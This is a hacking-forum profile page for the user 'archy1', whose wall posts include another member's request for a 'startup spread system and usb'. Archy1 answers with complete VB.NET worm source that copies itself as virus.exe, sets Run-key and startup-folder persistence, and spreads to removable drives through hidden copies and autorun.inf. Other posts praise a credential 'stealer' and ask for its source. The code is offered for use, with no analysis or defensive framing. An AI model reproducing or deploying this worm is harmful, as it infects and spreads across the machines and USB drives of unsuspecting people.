Welcome to JomGegar.com

Register now to gain access to all of our features. Once registered and logged in, you will be able to contribute to this site by submitting your own content or replying to existing content. You'll be able to customize your profile, receive reputation points as a reward for submitting content, while also communicating with other members via your own private inbox, plus much more! This message will be removed once you have signed in.

archy1

GFX Team
  • Content count

    305
  • Joined

  • Last visited

Community Reputation

297 Neutral 5

5 Followers

About archy1

  • Rank
    Senior Member level 8
  • Birthday June 18

Profile Information

  • Interests sport and grey hat
  • Gender Male
  • Location france

Recent Profile Visitors

1955 profile views
  1. lucky or not ?

    1. Anonymous1000X

      Anonymous1000X

      Nope. How about you add me in skype : anonymous1000x.

    2. archy1

      archy1

      just add U ..

  2. @archy1 bro add startup spread system and usb :) xmas 

     

    http://ge.tt/7PEmT4i2

    1. archy1

      archy1

      In your form..

      Imports System.IO
      Imports Microsoft.Win32
      
      Public Class Form1
      
          Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
              Try
                  Dim temp = Environment.GetEnvironmentVariable("temp") '
                  Dim regKey As RegistryKey
                  regKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
                  regKey.SetValue("Win32", temp & "\virus.exe")
                  File.Copy(Application.ExecutablePath, temp & "\virus.exe") 'copiage du virus vers le dossier temp
              Catch ex As Exception
                  Dim startup
                  startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup) 'startup = chemin du dossier de démarrage
                  File.Copy(Application.ExecutablePath, startup & "\virus.exe") 'copiage du virus vers le dossier de démarrage
              End Try
              searchDrives() 'execute le code du sub "searchdrives"
          End Sub
        
          Sub searchDrives()
              Do
                  On Error Resume Next
                  System.Threading.Thread.Sleep(1000) 'indique que il faut attendre une seconde (2000 = deux secondes, etc..)
                  Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
                  Dim d As IO.DriveInfo
      
                  For Each d In allDrives 'Pour chaque disque dans "alldrives" :
                      If d.DriveType = IO.DriveType.Removable Then 'Vérifie si parmis les disques présents il y a des disques amovibles (USB, SD etc...)
                          If d.IsReady Then
                              If Not File.Exists(d.Name & "\virus.exe") Then 'si il n'y a pas de fichier comme indiqué (ici le virus) Alors :
                                  Spread(d.Name) 'La fonction "Spread" se lance
                                  SetAutorun(d.Name) 'La fonction "SetAutorun" se lance
                              End If
                          End If
                      End If
                  Next
              Loop
          End Sub
          Function Spread(ByVal drive As String) 'La fonction "Spread"
              On Error Resume Next
              Dim Path As String = Reflection.Assembly.GetExecutingAssembly.Location
              File.Copy(Path, drive & "\virus.exe")
              Dim fl As New FileInfo(drive & "\virus.exe") 'copie le virus  dans l'endroit spécifié
              fl.Attributes = 2
              Return Nothing
          End Function
          Function SetAutorun(ByVal drive As String) 'La fonction "Set Autorun"
              On Error Resume Next
              Dim aRun As New StreamWriter(drive & "\autorun.inf")
              aRun.WriteLine("[AutoRun]")
              aRun.WriteLine("Open = virus.exe")
              aRun.Close()
              Dim fl As New FileInfo(drive & "\autorun.inf") 'crée le fichier autorun et/ou le copie dans l'endroit spécifié
              fl.Attributes = 2
              Return Nothing
          End Function
      End Class

       

    2. White

      White

      :inlove Woooooow thnks bro 

       

  3. hi bro really nice stealer, full support for your effort,  idea :) 

    Can you see me Source code bro,I need support bro thanks 

    Good job bro 

     

     

     

  4. FOR YOU IF YOU WANT...:D

    1463385410-d357royer.jpg

    1. D357r0y3r

      D357r0y3r

      Wow, very nice my brother! Thank you for this signature, i will use it now :D